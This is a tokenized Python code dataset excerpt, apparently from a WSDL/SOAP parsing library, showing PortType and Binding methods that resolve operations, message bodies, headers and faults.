"\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "qre", "f_", "=_", "quali", "fy_", "(_", "op_", "._", "output_", ",_", "self_", "._", "root_", ",_", "definitions_", "._", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "definitions_", "._", "messages_", "._", "get_", "(_", "qre", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Exception_", "(_", "\"", "msg", " ", "'%", "s", "',", " ", "not", "-", "found", "\"_", "%_", "op_", "._", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "op_", "._", "output_", "=_", "msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "f_", "in_", "op_", "._", "faults", "_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "qre", "f_", "=_", "quali", "fy_", "(_", "f_", "._", "message_", ",_", "self_", "._", "root_", ",_", "definitions_", "._", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg_", "=_", "definitions_", "._", "messages_", "._", "get_", "(_", "qre", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "raise_", "Exception_", ",_", "\"", "msg", " ", "'%", "s", "',", " ", "not", "-", "found", "\"_", "%_", "f_", "._", "message_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "f_", "._", "message_", "=_", "msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Port", "Type_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "operation_", "(_", "self_", ",_", "name_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Short", "cut", " ", "used", " ", "to", " ", "get", " ", "a", " ", "contain", "ed", " ", "operati", "on", " ", "by", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "name", ":", " ", "An", " ", "operati", "on", " ", "name", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "name", ":", " ", "str", "\\", "10", ";", " ", " ", " ", " ", "@", "return", ":", " ", "The", " ", "named", " ", "operati", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "rty", "pe", ":", " ", "Opera", "tion", "\\", "10", ";", " ", " ", " ", " ", "@", "raise", " ", "L", "{", "Meth", "od", "Not", "Foun", "d", "}:", " ", "Whe", "n", " ", "not", " ", "found", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "operations_", "[_", "name_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "Exception_", ",_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Meth", "od", "Not", "Found_", "(_", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Port", "Type_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u\\u", "gt", "\\u\\u_", "(_", "self_", ",_", "other_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "isinstance_", "(_", "other_", ",_", "(_", "Import_", ",_", "Types_", ",_", "Message_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Represent", "s", " ", "<", "bindi", "ng", "/>", "\\", "10", ";", " ", " ", " ", " ", "@", "ivar", " ", "operati", "ons", ":", " ", "A", " ", "list", " ", "of", " ", "contain", "ed", " ", "operati", "ons", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "operati", "ons", ":", " ", "list", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "root", ":", " ", "An", " ", "XML", " ", "root", " ", "element", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "root", ":", " ", "L", "{", "Element", "}", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "Name", "d", "Object_", "._", "\\u\\u", "init\\u\\u_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "operations_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "type_", "=_", "root_", "._", "get_", "(_", "'", "type", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sr_", "=_", "self_", "._", "soap", "root_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sr_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "soap", "_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "log", ".", "debug", "('", "bindi", "ng", ":", " ", "\"%", "s", "\"", " ", "not", " ", "a", " ", "soap", " ", "bindi", "ng", "',", " ", "self", ".", "name", ")_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "soap", "_", "=_", "Fac", "ade_", "(_", "'", "soap", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "soap", "_", "=_", "soap", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "soap", "_", "._", "style_", "=_", "sr_", "._", "get_", "(_", "'", "style", "'_", ",_", "default_", "=_", "'", "document", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "add", "\\u", "operations_", "(_", "self_", "._", "root_", ",_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "soap", "root_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "get", " ", "the", " ", "soap", ":", "bindi", "ng", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "ns_", "in_", "(_", "soap", "ns_", ",_", "soap", "1", "2n", "s_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sr_", "=_", "self_", "._", "root_", "._", "get", "Child_", "(_", "'", "bindi", "ng", "'_", ",_", "ns_", "=_", "ns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sr_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "sr_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "add", "\\u", "operations_", "(_", "self_", ",_", "root_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "Add", " ", "<", "operati", "on", "/>", " ", "child", "ren", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dso", "p_", "=_", "Element_", "(_", "'", "operati", "on", "'_", ",_", "ns_", "=_", "soap", "ns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "c_", "in_", "root_", "._", "get", "Children_", "(_", "'", "operati", "on", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op_", "=_", "Fac", "ade_", "(_", "'", "Opera", "tion", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "op_", "._", "name_", "=_", "c_", "._", "get_", "(_", "'", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sop", "_", "=_", "c_", "._", "get", "Child_", "(_", "'", "operati", "on", "'_", ",_", "default_", "=_", "dso", "p_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "=_", "Fac", "ade_", "(_", "'", "soap", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "._", "action_", "=_", "'\"", "%", "s", "\"'_", "%_", "sop", "_", "._", "get_", "(_", "'", "soap", "Action", "'_", ",_", "default_", "=_", "''_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "._", "style_", "=_", "sop", "_", "._", "get_", "(_", "'", "style", "'_", ",_", "default_", "=_", "self_", "._", "soap", "_", "._", "style_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "._", "input_", "=_", "Fac", "ade_", "(_", "'", "Inp", "ut", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "._", "input_", "._", "body_", "=_", "Fac", "ade_", "(_", "'", "Bod", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "._", "input_", "._", "headers_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "._", "output_", "=_", "Fac", "ade_", "(_", "'", "Output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "._", "output_", "._", "body_", "=_", "Fac", "ade_", "(_", "'", "Bod", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "soap", "_", "._", "output_", "._", "headers_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "op_", "._", "soap", "_", "=_", "soap", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "input_", "=_", "c_", "._", "get", "Child_", "(_", "'", "input", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "input_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "input_", "=_", "Element_", "(_", "'", "input", "'_", ",_", "ns_", "=_", "ws", "dl", "ns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "body_", "=_", "input_", "._", "get", "Child_", "(_", "'", "body", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "body_", "(_", "definitions_", ",_", "soap", "_", "._", "input_", "._", "body_", ",_", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "header_", "in_", "input_", "._", "get", "Children_", "(_", "'", "header", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "header_", "(_", "definitions_", ",_", "soap", "_", "._", "input_", ",_", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "output_", "=_", "c_", "._", "get", "Child_", "(_", "'", "output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "output_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "output_", "=_", "Element_", "(_", "'", "output", "'_", ",_", "ns_", "=_", "ws", "dl", "ns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "body_", "=_", "output_", "._", "get", "Child_", "(_", "'", "body", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "body_", "(_", "definitions_", ",_", "soap", "_", "._", "output_", "._", "body_", ",_", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "header_", "in_", "output_", "._", "get", "Children_", "(_", "'", "header", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "header_", "(_", "definitions_", ",_", "soap", "_", "._", "output_", ",_", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "faults", "_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "fault_", "in_", "c_", "._", "get", "Children_", "(_", "'", "fault", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sf_", "=_", "fault_", "._", "get", "Child_", "(_", "'", "fault", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "sf_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "continue_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fn_", "=_", "fault_", "._", "get_", "(_", "'", "name", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "=_", "Fac", "ade_", "(_", "'", "Fau", "lt", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "name_", "=_", "sf_", "._", "get_", "(_", "'", "name", "'_", ",_", "default_", "=_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "f_", "._", "use_", "=_", "sf_", "._", "get_", "(_", "'", "use", "'_", ",_", "default_", "=_", "'", "literal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "faults", "_", "._", "append_", "(_", "f_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "soap", "_", "._", "faults", "_", "=_", "faults", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "operations_", "[_", "op_", "._", "name_", "]_", "=_", "op_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "body_", "(_", "self_", ",_", "definitions_", ",_", "body_", ",_", "root_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "add", " ", "the", " ", "input", "/", "output", " ", "body", " ", "proper", "ties", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "._", "use_", "=_", "'", "literal", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "._", "namespace_", "=_", "definitions_", "._", "tns", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "._", "parts_", "=_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "parts_", "=_", "root_", "._", "get_", "(_", "'", "part", "s", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "parts_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "._", "parts_", "=_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "._", "parts_", "=_", "re_", "._", "split_", "(_", "'[", "\\\\", "s", ",]", "'_", ",_", "parts_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "body_", "._", "use_", "=_", "root_", "._", "get_", "(_", "'", "use", "'_", ",_", "default_", "=_", "'", "literal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ns_", "=_", "root_", "._", "get_", "(_", "'", "namespace", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ns_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "body_", "._", "namespace_", "=_", "definitions_", "._", "tns", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "root_", "._", "find", "Prefix_", "(_", "ns_", ",_", "'", "b0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body_", "._", "namespace_", "=_", "(_", "prefix_", ",_", "ns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "header_", "(_", "self_", ",_", "definitions_", ",_", "parent_", ",_", "root_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", " ", "add", " ", "the", " ", "input", "/", "output", " ", "header", " ", "proper", "ties", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "root_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "header_", "=_", "Fac", "ade_", "(_", "'", "Head", "er", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parent_", "._", "headers_", "._", "append_", "(_", "header_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "header_", "._", "use_", "=_", "root_", "._", "get_", "(_", "'", "use", "'_", ",_", "default_", "=_", "'", "literal", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ns_", "=_", "root_", "._", "get_", "(_", "'", "namespace", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ns_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "header_", "._", "namespace_", "=_", "definitions_", "._", "tns", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix_", "=_", "root_", "._", "find", "Prefix_", "(_", "ns_", ",_", "'", "h", "0", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "header_", "._", "namespace_", "=_", "(_", "prefix_", ",_", "ns_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "msg_", "=_", "root_", "._", "get_", "(_", "'", "message", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "header_", "._", "message_", "=_", "msg_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "part_", "=_", "root_", "._", "get_", "(_", "'", "part", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "part_", "is_", "not_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "header_", "._", "part_", "=_", "part_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve_", "(_", "self_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Resolv", "e", " ", "named", " ", "reference", "s", " ", "to", " ", "other", " ", "WS", "DL", " ", "object", "s", ".", " ", " ", "Thi", "s", " ", "include", "s", "\\", "10", ";", " ", " ", " ", " ", "cross", "-", "linking", " ", "informati", "on", " ", "(", "from", ")", " ", "the", " ", "port", "Type", " ", "(", "to", ")", " ", "the", " ", "I", "{", "soap", "}", "\\", "10", ";", " ", " ", " ", " ", "protoc", "ol", " ", "informati", "on", " ", "on", " ", "the", " ", "bindi", "ng", " ", "for", " ", "each", " ", "operati", "on", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "resolve", "port_", "(_", "definitions_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "op_", "in_", "self_", "._", "operations_", "._", "values_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "resolve", "soap", "body_", "(_", "definitions_", ",_", "op_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "resolve", "headers_", "(_", "definitions_", ",_", "op_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "resolve", "faults", "_", "(_", "definitions_", ",_", "op_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve", "port_", "(_", "self_", ",_", "definitions_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Resolv", "e", " ", "port", "\\u", "type", " ", "reference", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", "s", ":", " ", "L", "{", "Definit", "ion", "s", "}", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ref_", "=_", "quali", "fy_", "(_", "self_", "._", "type_", ",_", "self_", "._", "root_", ",_", "definitions_", "._", "tns", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "port", "\\u", "type_", "=_", "definitions_", "._", "port", "\\u", "types_", "._", "get_", "(_", "ref_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "port", "\\u", "type_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "\"", "port", "Type", " ", "'%", "s", "',", " ", "not", "-", "found", "\"_", "%_", "self_", "._", "type_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "type_", "=_", "port", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Binding_", "(_", "Name", "d", "Object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "resolve", "soap", "body_", "(_", "self_", ",_", "definitions_", ",_", "op_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Resolv", "e", " ", "soap", " ", "body", " ", "I", "{", "message", "}", " ", "part", "s", " ", "by", "\\", "10", ";", " ", " ", " ", " ", "cross", "-", "referenci", "ng", " ", "with", " ", "operati", "on", " ", "defin", "ed", " ", "in", " ", "port", " ", "type", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "param", " ", "definit", "ion", "s", ":", " ", "A", " ", "definit", "ion", "s", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "@", "type", " ", "definit", "ion", 